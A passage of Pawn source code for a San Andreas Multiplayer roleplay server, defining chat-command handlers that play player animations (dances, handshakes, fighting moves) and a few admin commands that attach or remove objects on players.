			else return SendMessage(playerid,COL_SYN,"Syntax: /win <1-3>");
			return 1;
		}
		if(strcmp(cmd,"/figur",true)==0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid, "BENCHPRESS", "GYM_BP_CELEBRATE", 4.0, 1, 0, 0, 0, 0);
		AnimPlay[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/girlkiss", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
	 AnimPlay[playerid] = 1;
		LoopingAnim(playerid,"BD_FIRE","Grlfrd_Kiss_03",3.0,0,0,0,0,0);
		return 1;
		}
		if(strcmp(cmd,"/loop",true)==0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		LoopingAnim(playerid, "BEACH", "PARKSIT_W_LOOP", 4.0, 1, 0, 0, 0, 0);
	 AnimPlay[playerid] = 1;
		return 1;
		}
		if(strcmp(cmd, "/handsup", true) == 0) {
		if(PlayerHandsCuffed[playerid] == 1)
		{
		SCM(playerid,COLOR_visit,"you can't up your hands when your hands are cuffed.");
		return 1;
		}
		if(OnFreeze[playerid] == 1) {
		SCM(playerid,COLOR_visit,"you can't up your hands when your hands are freezed.");
		return 1;
		}
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
				SetPlayerSpecialAction(playerid,SPECIAL_ACTION_HANDSUP);
				return 1;
		}
		if(strcmp("/dealstance", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"DEALER","DEALER_IDLE",4.0,1,0,0,0,0);
	  AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/lightcig", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"SMOKING","M_smk_in",3.0,0,0,0,0,0);
	  AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/elbow", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"FIGHT_D","FightD_3",4.0,0,1,1,0,0);
	  AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/highthrow", cmd, true) == 0)
		{
		   if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"GRENADE","WEAPON_throw",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/lowthrow", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"GRENADE","WEAPON_throwu",3.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/gkick", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"FIGHT_D","FightD_G",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/exhaust", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","IDLE_tired",3.0,1,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/exhausted", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"FAT","IDLE_tired", 4.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/carjacked1", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_jackedLHS",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/carjacked2", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_jackedRHS",4.0,0,1,1,1,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/hide", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "ped", "cower", 3.0, 1, 0, 0, 0, 0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/lcarjack1", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_pulloutL_RHS",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/lcarjack2", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_pullout_RHS",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/rcarjack1", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_pulloutL_LHS",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/rcarjack2", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_pullout_LHS",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp(cmd, "/gwalk", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[6])) return SendMessage(playerid,COL_SYN,"Syntax: /gwalk [1/2]");
			new style = strval(cmdtext[6]);
			if (style == 1)
				{
				LoopingAnim(playerid,"PED","WALK_gang1",4.1,1,1,1,1,1); AnimPlay[playerid] = 1;
				}
				else if (style == 2)
				{
				LoopingAnim(playerid,"PED","WALK_gang2",4.1,1,1,1,1,1); AnimPlay[playerid] = 1;
				}
			else SendMessage(playerid,COL_SYN,"Syntax: /gwalk [1/2]");
			return 1;
		}
		 if(strcmp("/airkick", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"FIGHT_C","FightC_M",4.0,0,1,1,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/carjack2", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_pullout_LHS",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/carjack1", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_pulloutL_RHS",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/leftslap", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","BIKE_elbowL",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/spraya", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"GANGS","shake_cara",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/dealstance", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"DEALER","DEALER_IDLE",4.0,1,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/box", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"GYMNASIUM","GYMshadowbox",4.0,1,1,1,1,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/headbutt", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"WAYFARER","WF_Fwd",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/push", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"SPRAYCAN","spraycan_full",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/sup", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[5])) return SendMessage(playerid,COL_SYN,"Syntax: /sup [1-7]");
			switch (cmdtext[5])
			{
					case '1': { LoopingAnim(playerid,"GANGS","hndshkba",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '2': { LoopingAnim(playerid,"GANGS","hndshkda",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '3': { LoopingAnim(playerid,"GANGS","hndshkfa_swt",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '4': { LoopingAnim(playerid,"GANGS","hndshkaa",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '5': { LoopingAnim(playerid,"GANGS","hndshkcb",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '6': { LoopingAnim(playerid,"GANGS","hndshkca",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '7': { LoopingAnim(playerid,"GANGS","hndshkea",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					default: { SendMessage(playerid,COL_SYN,"Syntax: /sup [1-7]"); }
			}
			return 1;
		}
		if(strcmp(cmd, "/stretch", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PLAYIDLES","stretch",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/slapass", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "SWEET", "sweet_ass_slap", 4.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		if(strcmp(cmd, "/angry", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"RIOT","RIOT_ANGRY",4.0,0,0,0,0,0); AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/fucku", cmd, true) == 0 || strcmp("/hooo", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","fucku",4.0,0,0,0,0,0);
			return 1;
		}
		 if(strcmp("/crossarms", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SendMessage(playerid,COL_SYN,"Syntax: /crossarms <1-2>");
			new anim = strval(tmp);
			if(anim == 1) {LoopingAnim(playerid, "COP_AMBIENT", "Coplook_loop", 4.0, 0, 1, 1, 1, -1);AnimPlay[playerid] = 1;}
			else if(anim == 2) {LoopingAnim(playerid, "OTB", "WTCHRACE_LOOP", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else return SendMessage(playerid,COL_SYN,"Syntax: /crossarms <1-2>");
			return 1;
		}

		 if(strcmp(cmd, "/dance", true) == 0) {
		 if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
		 if(PlayerHandsCuffed[playerid] == 1)
		 {
		 SCM(playerid,COLOR_visit,"you can't dance when your hands are cuffed");
		 return 1;
		 }

					tmp = strtok(cmdtext, idx);
							if(!strlen(tmp)) {
									SendMessage(playerid,COL_SYN,"Syntax: /dance [Style 1-4]");
									return 1;
							}

							dancestyle = strval(tmp);
							if(dancestyle < 1 || dancestyle > 4) {
								SendMessage(playerid,COL_SYN,"Syntax: /dance [Style 1-4]");
								return 1;
							}

							if(dancestyle == 1) {
								SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DANCE1);
							} else if(dancestyle == 2) {
								SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DANCE2);
							} else if(dancestyle == 3) {
								SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DANCE3);
							} else if(dancestyle == 4) {
								SetPlayerSpecialAction(playerid,SPECIAL_ACTION_DANCE4);
							}
							return 1;
			}
		  if(strcmp(cmd, "/aim", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[5])) return SendMessage(playerid,COL_SYN,"Syntax: /aim [1-4]");
			switch (cmdtext[5])
			{
					case '1': { LoopingAnim(playerid,"PED","gang_gunstand",4.0,1,1,1,1,1); AnimPlay[playerid] = 1; }
					case '2': { LoopingAnim(playerid,"PED","Driveby_L",4.0,0,1,1,1,1); AnimPlay[playerid] = 1; }
					case '3': { LoopingAnim(playerid,"PED","Driveby_R",4.0,0,1,1,1,1); AnimPlay[playerid] = 1; }
					case '4': { LoopingAnim(playerid, "SHOP", "SHP_Gun_Aim", 4.0, 0, 1, 1, 1, -1); AnimPlay[playerid] = 1; }
					default: { SendMessage(playerid,COL_SYN,"Syntax: /aim [1-4]"); }
			}
			return 1;
		}
		 if(strcmp(cmd, "/lean", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[6])) return SendMessage(playerid,COL_SYN,"Syntax: /lean [1-2]");
			switch (cmdtext[6])
			{
					case '1': { LoopingAnim(playerid,"GANGS","leanIDLE",4.0,0,1,1,1,0); AnimPlay[playerid] = 1; }
					case '2': { LoopingAnim(playerid,"MISC","Plyrlean_loop",4.0,0,1,1,1,0); AnimPlay[playerid] = 1; }
					default: { SendMessage(playerid,COL_SYN,"Syntax: /lean [1-2]"); }
			}
			return 1;
		}
		 if(strcmp(cmd, "/reload", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[8])) return SendMessage(playerid,COL_SYN,"Syntax: /reload [deagle/smg/ak/m4]");
			if (strcmp("deagle",cmdtext[8],true) == 0)
				{
							LoopingAnim(playerid, "COLT45", "COLT45_RELOAD", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
				}
				else if (strcmp("smg",cmdtext[8],true) == 0 || strcmp("ak",cmdtext[8],true) == 0 || strcmp("m4",cmdtext[8],true) == 0)
				{
							LoopingAnim(playerid,"UZI","UZI_reload",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
				}
			else SendMessage(playerid,COL_SYN,"Syntax: /reload [deagle/smg/ak/m4]");
			return 1;
		}
		if(strcmp(cmd, "/knife", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[7])) return SendMessage(playerid,COL_SYN,"Syntax: /knife [1-4]");
			switch (cmdtext[7])
			{
				case '1': { LoopingAnim(playerid,"KNIFE","KILL_Knife_Ped_Damage",4.0,0,1,1,1,0); AnimPlay[playerid] = 1; }
					case '2': { LoopingAnim(playerid,"KNIFE","KILL_Knife_Ped_Die",4.0,0,1,1,1,0); AnimPlay[playerid] = 1; }
					case '3': { LoopingAnim(playerid,"KNIFE","KILL_Knife_Player",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '4': { LoopingAnim(playerid,"KNIFE","KILL_Partial",4.0,0,1,1,1,1); AnimPlay[playerid] = 1; }
					default: SendMessage(playerid,COL_SYN,"Syntax: /knife [1-4]");
			}
			return 1;
		}
		 if(strcmp(cmd, "/basket", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[8])) return SendMessage(playerid,COL_SYN,"Syntax: /basket [1-6]");
			switch (cmdtext[8])
			{
					case '1': { LoopingAnim(playerid,"BSKTBALL","BBALL_idleloop",4.0,1,0,0,0,0); AnimPlay[playerid] = 1; }
					case '2': { LoopingAnim(playerid,"BSKTBALL","BBALL_Jump_Shot",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '3': { LoopingAnim(playerid,"BSKTBALL","BBALL_pickup",4.0,0,0,0,0,0); AnimPlay[playerid] = 1; }
					case '4': { LoopingAnim(playerid,"BSKTBALL","BBALL_run",4.1,1,1,1,1,1); AnimPlay[playerid] = 1; }
					case '5': { LoopingAnim(playerid,"BSKTBALL","BBALL_def_loop",4.0,1,0,0,0,0); AnimPlay[playerid] = 1; }
					case '6': { LoopingAnim(playerid,"BSKTBALL","BBALL_Dnk",4.0,1,0,0,0,0); AnimPlay[playerid] = 1; }
					default: SendMessage(playerid,COL_SYN,"Syntax: /basket [1-6]");
			}
			return 1;
		}
		if(strcmp(cmd, "/rap", true) == 0)
		{
		if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			if (!strlen(cmdtext[5])) return SendMessage(playerid,COL_SYN,"Syntax: /rap [1-4]");
			switch (cmdtext[5])
			{
				case '1': { LoopingAnim(playerid,"RAPPING","RAP_A_Loop",4.0,1,0,0,0,0); AnimPlay[playerid] = 1; }
					case '2': { LoopingAnim(playerid,"RAPPING","RAP_C_Loop",4.0,1,0,0,0,0); AnimPlay[playerid] = 1; }
					case '3': { LoopingAnim(playerid,"GANGS","prtial_gngtlkD",4.0,1,0,0,0,0); AnimPlay[playerid] = 1; }
					case '4': { LoopingAnim(playerid,"GANGS","prtial_gngtlkH",4.0,1,0,0,1,1); AnimPlay[playerid] = 1; }
					default: SendMessage(playerid,COL_SYN,"Syntax: /rap [1-4]");
			}
			return 1;
		}
		 if(strcmp("/gro", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"BEACH", "ParkSit_M_loop", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}

		if(strcmp(cmd, "/onme", true) == 0)
		{
							if(PlayerInfo[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
							tmp = strtok(cmdtext,idx);
							if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /Onme <Playerid/PartOfName>");
							new user = ReturnUser6(tmp);
					   if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						  if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
					   if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
						  if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
							Payambar[user] = CreateObject(18728, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
							AttachObjectToPlayer(Payambar[user], user, 0.0, 0.0, -1.5, 0.0, 0.0, 0);
					   new sttrr[256];
					   format(sttrr,256,"{FFFFFF}Admin %s enabled onme for %s.", PINFO[playerid][pName], PINFO[user][pName]);
					   //AdminWarn(sttrr);

			return 1;
		}
		/*
		if(strcmp(cmd, "/payambar2", true) == 0 || strcmp(cmd, "/onme2", true) == 0)
		{
							if(PlayerInfo[playerid][pAdmin] < 5) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
							tmp = strtok(cmdtext,idx);
							if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /onme2 [ID]");
							new user = ReturnUser6(tmp);
					   if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
							Payambar2[user] = CreateObject(19295, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
							AttachObjectToPlayer(Payambar2[user], user, 0.0, 0.0, 1, 0.0, 0.0, 0);
					   new sttrr[256];
					   format(sttrr,256,"{FFFFFF}Admin %s enabled OnMe2-Feature for %s.", PINFO[playerid][pName], PINFO[user][pName]);
					   AdminWarn(sttrr);

			return 1;
		}
*/
		if(strcmp(cmd, "/deleteonme", true) == 0)
		{
							if(PlayerInfo[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
							tmp = strtok(cmdtext,idx);
							if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /Deleteonme <Playerid/PartOfName>");
							new user = ReturnUser6(tmp);
					   if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						  if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
					   if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
						  if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
							DestroyObject(Payambar[user]);
					   new sttrr[256];
					   format(sttrr,256,"{FFFFFF}Admin %s disabled onme for %s.", PINFO[playerid][pName], PINFO[user][pName]);
					   //AdminWarn(sttrr);

			return 1;
		}
		/*
		if(strcmp(cmd, "/payambar2off", true) == 0 || strcmp(cmd, "/onme2off", true) == 0)
		{
							if(PlayerInfo[playerid][pAdmin] < 5) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
							tmp = strtok(cmdtext,idx);
							if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /paymbar2off [ID]");
							new user = ReturnUser6(tmp);
					   if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
							DestroyObject(Payambar2[user]);
					   new sttrr[256];
					   format(sttrr,256,"{FFFFFF}Admin %s disabled OnMe2-Feature for %s.", PINFO[playerid][pName], PINFO[user][pName]);
					   AdminWarn(sttrr);

			return 1;
		}
*/
/*
		if(strcmp(cmd, "/createx", true) == 0 || strcmp(cmd, "/cre", true) == 0)
		{
							if(PlayerInfo[playerid][pAdmin] < 1) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
							tmp = strtok(cmdtext,idx);
							if(!strlen(tmp)) return SendMessage(playerid,COL_SYN,"Syntax: /cre <Playerid/PartOfName> <Type>");
							new user = ReturnUser6(tmp);
							if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"That player is not connected.");
							tmp = strtok(cmdtext,idx);
							if(!strlen(tmp)) return SendMessage(playerid,COL_SYN,"Syntax: /cre <Playerid/PartOfName> <Type>");
							new type = strval(tmp);
							if(type < 0 || type > 13) return SCM(playerid,COLOR_SINA3,"Type must below 13 and above 0.");
							new Float:x, Float:y, Float:z;
							GetPlayerPos(user, x, y, z);

							CreateExplosion(x, y, z, type, 100.0);
			return 1;
		}
		if(strcmp(cmd, "/createxa", true) == 0 || strcmp(cmd, "/crea", true) == 0)
		{
							if(PlayerInfo[playerid][pAdmin] < 3) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
							tmp = strtok(cmdtext,idx);
							if(!strlen(tmp)) return SendMessage(playerid,COL_SYN,"Syntax: /crea <Type>");
							new type = strval(tmp);
							if(type < 0 || type > 13) return SCM(playerid,COLOR_SINA3,"Type must below 13 and above 0.");
							new Float:x, Float:y, Float:z;
							for(new i;i<Akharish;i++) {
							GetPlayerPos(i, x, y, z);
							CreateExplosion(x, y, z, type, 100.0);
							}
			return 1;
	  }
	  
	  */
	  
	  
	  
	  
	  /*
			 if(strcmp(cmd, "/staff", true) == 0)
		{
		  if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			//new kirmikhad = 0;
			//kirmikhad = adminc += helperc += leaderc;
			//staffc = kirmikhad;
			   new stringz[256];
				new strings[256];
				new stringk[256];
				new stringg[256];
				format(stringk, sizeof(stringk), "Current admins online: {ff0000}%d{b8ffdb}.",adminc);
			 format(stringz, sizeof(stringz), "Current helpers online: {ff0000}%d{b8ffdb}.",helperc);
			 format(strings, sizeof(strings), "Current leaders online: {ff0000}%d{b8ffdb}.",leaderc);
			 format(stringg, sizeof(stringg), "Current staffs online(admins, helpers, leaders): {ff0000}%d{b8ffdb}.",staffc);
			 SendMessage(playerid,COLOR_Good,stringk);
			 SendMessage(playerid,COLOR_Good,stringz);
			 SendMessage(playerid,COLOR_Good,strings);
			 SendMessage(playerid,COLOR_Good,stringg);
			return 1;
		}
	  */
		 if(strcmp("/fall", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /fall <1-3>");
			new anim = strval(tmp);
			if(anim == 1){LoopingAnim(playerid,"PED","KO_skid_front",4.1,0,1,1,1,0);AnimPlay[playerid] = 1;}
			else if(anim == 2){LoopingAnim(playerid, "BASEBALL", "BAT_HIT_3", 4.0, 0, 1, 1, 1, 0);AnimPlay[playerid] = 1;}
			else if(anim == 3){LoopingAnim(playerid, "PED", "FLOOR_HIT", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;}
			else return SCM(playerid,COL_SYN, "Syntax: /fall <1-3>");
			return 1;
		}
		 if(strcmp("/fallback", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid, "PED","FLOOR_hit_f", 4.0, 1, 0, 0, 0, 0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/carlock", cmd, true) == 0)
		{
			if(GetPlayerState(playerid) != PLAYER_STATE_ONFOOT) { SCM(playerid,COLOR_SINA3,"Cannot use that when you are not On-Foot."); return 1; }
			LoopingAnim(playerid,"PED","CAR_doorlocked_LHS",4.0,0,0,0,0,0);AnimPlay[playerid] = 1;
			return 1;
		}
		 if(strcmp("/lay2", cmd, true) == 0)
		{
